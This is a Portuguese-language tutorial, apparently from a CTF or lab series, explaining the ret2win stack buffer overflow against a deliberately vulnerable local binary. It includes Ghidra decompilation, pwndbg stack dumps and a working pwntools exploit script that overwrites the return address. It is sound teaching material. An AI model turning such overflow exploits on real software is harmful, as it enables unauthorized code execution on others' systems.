Ret2win

Arquivos

Arquivo
Descrição

ret2win

Elf compilado com a flag --no-pie

main.c

Código fonte do elf.

solve.py

Script em python.

📥 Download: Arquivos

O que é Ret2Win

Ret2win é um exploit que envolve a pilha (stack), de forma que nós reescrevemos os valores armazenados nela para alterarmos o endereço de retorno para uma função win (por isso o nome ret2win). Mas como isso funciona? Bom, quando chamamos uma função o endereço da próxima instrução é salvo na pilha (rsp armazena esse endereço), e no início de toda função nós temos uma sequência de código em assembly que são conhecidos como prólogo da função. Eles são o push rbp que salva na pilha o conteúdo de rbp, e o mov rbp, rsp que faz o rbp ser igual ao rsp, essas duas instruções basicamente criam um novo segmento de pilha para aquela função. Agora que toda a pilha para a função está criada, ela começa a alocar espaço para as variáveis (se houver) subtraindo o valor de rsp pelo tamanho da variável (note que a pilha cresce de cima para baixo). Com tudo isso feito, se nós conseguirmos fazer uma variável armazenar um valor maior que o seu tamanho, nós na verdade começaremos a sobrescrever todos os valores que já estavam na pilha, e o objetivo é fazer isso até chegarmos no local onde o endereço da instrução foi armazenado, e assim rescrevemos ele para ser o endereço para a função que queremos ir.

Analisando o código

Normalmente você nunca recebe um arquivo de código para que você simplesmente olhe diretamente para ele e veja as vulnerabilidades, você geralmente vai receber um arquivo executável (na maioria dos casos .ELF). Para nós vermos o código é necessário usar alguma ferramenta que desmonte o executável em seu código assembly, e aqui nós usaremos duas ferramentas: o Ghidra que consegue mostrar o código assembly compilado para pseudo C ou C++, e também permite uma fácil visualização de todo o código, e o PwnDbg que também permite uma visualização do código assembly, mas usaremos ele principalmente por causa da sua capacidade de debugar.

Abrindo o ELF disponibilizado no Ghidra podemos ter acesso a função main:

main.c
undefined8 main(void)
{
  vulnFunction();
  return 0;
}

Podemos notar que a main chama outra função, vamos dar uma olhada nela.

vulnFunction.c
void vulnFunction(void)
{
  undefined local_18 [16];
  
  __isoc99_scanf(&DAT_00102021,local_18);
  printf("Buffer: %s",local_18);
  return;
}

Certo, temos uma função que usa o scanf para armezar o input do usuário em uma variável de tamanho 16 (vale notar que o scanf não tem limite de leitura, esse limite deve ser específicado nos operadores de formato, e nesse caso não há nenhum limitador). Já identificamos a possível vulnerabilidade, mas e a função win? Bom temos que olhar no código para termos certeza que ela existe, para fazermos isso é só usar o Ghidra.

Nota: Normalmente não vai existir uma função win, como neste caso, mas isso será abordado nos próximos exploits.

Segue a função win:

win.c
void win(void)
{
  printf(&DAT_00102004);
  exit(0);
}

Debugando com PwnDbg

Agora que sabemos todas as funções, vamos começar a debugar:

pwndbg> disassemble main

Dump of assembler code for function main:
   0x00000000004011a9 <+0>:     push   rbp
   0x00000000004011aa <+1>:     mov    rbp,rsp
   0x00000000004011ad <+4>:     mov    eax,0x0
   0x00000000004011b2 <+9>:     call   0x401168 <vulnFunction>
   0x00000000004011b7 <+14>:    mov    eax,0x0
   0x00000000004011bc <+19>:    pop    rbp
   0x00000000004011bd <+20>:    ret
End of assembler dump.


pwndbg> disassemble vulnFunction

Dump of assembler code for function vulnFunction:
   0x0000000000401168 <+0>:     push   rbp
   0x0000000000401169 <+1>:     mov    rbp,rsp -> Fim do prologo da função
   0x000000000040116c <+4>:     sub    rsp,0x10 -> Criando espaço para a variável
   0x0000000000401170 <+8>:     lea    rax,[rbp-0x10]
   0x0000000000401174 <+12>:    mov    rsi,rax
   0x0000000000401177 <+15>:    lea    rax,[rip+0xea3]        # 0x402021
   0x000000000040117e <+22>:    mov    rdi,rax
   0x0000000000401181 <+25>:    mov    eax,0x0
   0x0000000000401186 <+30>:    call   0x401040 <__isoc99_scanf@plt>
   0x000000000040118b <+35>:    lea    rax,[rbp-0x10]
   0x000000000040118f <+39>:    mov    rsi,rax
   0x0000000000401192 <+42>:    lea    rax,[rip+0xe8b]        # 0x402024
   0x0000000000401199 <+49>:    mov    rdi,rax
   0x000000000040119c <+52>:    mov    eax,0x0
   0x00000000004011a1 <+57>:    call   0x401030 <printf@plt>
   0x00000000004011a6 <+62>:    nop
   0x00000000004011a7 <+63>:    leave
   0x00000000004011a8 <+64>:    ret
End of assembler dump.


pwndbg> break *0x0000000000401168 -> Colocando um breakpoint bem no início da função

Breakpoint 2 at 0x401168

pwndbg> r

-> com esse comando nós rodamos o código e paramos no breakpoint, e podemos ver a pilha dessa forma
00:0000│ rsp 0x7fffffffddd8 —▸ 0x4011b7 (main+14) ◂— mov eax, 0
01:0008│ rbp 0x7fffffffdde0 ◂— 0x1

pwndbg> n -> esse comando avança para a próxima instrução
pwndbg> n

00:0000│ rbp rsp 0x7fffffffddd0 —▸ 0x7fffffffdde0 ◂— 0x1 -> antigo conteúdo de rbp, e rbp = rsp
01:0008│+008     0x7fffffffddd8 —▸ 0x4011b7 (main+14) ◂— mov eax, 0
02:0010│+010     0x7fffffffdde0 ◂— 0x1

pwndbg> c

Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -> aqui eu simplesmente escrevi muitos caracteres para demonstrar como vai ficar a stack após isso

0x4011a8 <vulnFunction+64>    ret    <0x4141414141414141> -> aqui podemos ver que o endereço de retorno foi reescrito por A

pwndbg> x/100x $rsp -> mostrando a pilha, como podemos ver todos os valores que a gente conhecia foram reescritos.

pwndbg> x/100x $rsp
0x7fffffffddd8: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffdde8: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffddf8: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffde08: 0x41414141      0x41414141      0x41414141      0x00000041

Solução

Esse é o estado da pilha após ela criar espaço para a nossa variável:

00:0000│ rsp 0x7fffffffddc0 ◂— 0x0
01:0008│-008 0x7fffffffddc8 ◂— 0x0
02:0010│ rbp 0x7fffffffddd0 —▸ 0x7fffffffdde0 ◂— 0x1
03:0018│+008 0x7fffffffddd8 —▸ 0x4011b7 (main+14) ◂— mov eax, 0

Logo para chegarmos no endereço de retorno, teremos que escrever 24 caracteres (0x18 -> 0x7fffffffddd8 - 0x7fffffffddc0). Antes de fazermos um script para isso, nós temos que dar uma olhada na função win para acharmos seu endereço:

pwndbg> disassemble win

Dump of assembler code for function win:
   0x0000000000401146 <+0>:     push   rbp
   0x0000000000401147 <+1>:     mov    rbp,rsp
   0x000000000040114a <+4>:     lea    rax,[rip+0xeb3]        # 0x402004
   0x0000000000401151 <+11>:    mov    rdi,rax
   0x0000000000401154 <+14>:    mov    eax,0x0
   0x0000000000401159 <+19>:    call   0x401030 <printf@plt>
   0x000000000040115e <+24>:    mov    edi,0x0
   0x0000000000401163 <+29>:    call   0x401050 <exit@plt>
End of assembler dump.

Seu endereço é 0x0000000000401146, vamos para o script:

solve.py
from pwn import *

p = process('./ret2win')

payload = b'A' * 24
payload += b'\x46\x11\x40\x00\x00\x00\x00\x00'

p.sendline(payload)

print(p.recvuntil(b"?").decode())
#log.info(p.clean())

Esse script é bem simples, nós usamos a biblioteca pwn que nos permite acessar "programas" por meio do script. Com ela nós abrimos o nosso processo (ret2win), criamos uma mensagem em bytes contendo os 24 caracteres mais o endereço da win (em little endian), e enviamos essa mensagem para o programa. Para pegarmos a mensagem do terminal nós usamos a p.recvuntil(b"?").decode(), essa função retorna tudo até o caractere ?, em um formato de array de bytes, e por isso usamos o decode() para traduzir para nós. O único problema desse script é que a função recv da biblioteca pwn pode gerar erros se ela não encontrar o critério de parada, a outra opção para ela é usar o log.info().

Resultado

python3 solve.py

[+] Starting local process './ret2win': pid 172829

[*] Process './ret2win' stopped with exit code 0 (pid 172829)

Buffer: AAAAAAAAAAAAAAAAAAAAAAAAF\x11@Ué, como você chegou aqui?

Atualizado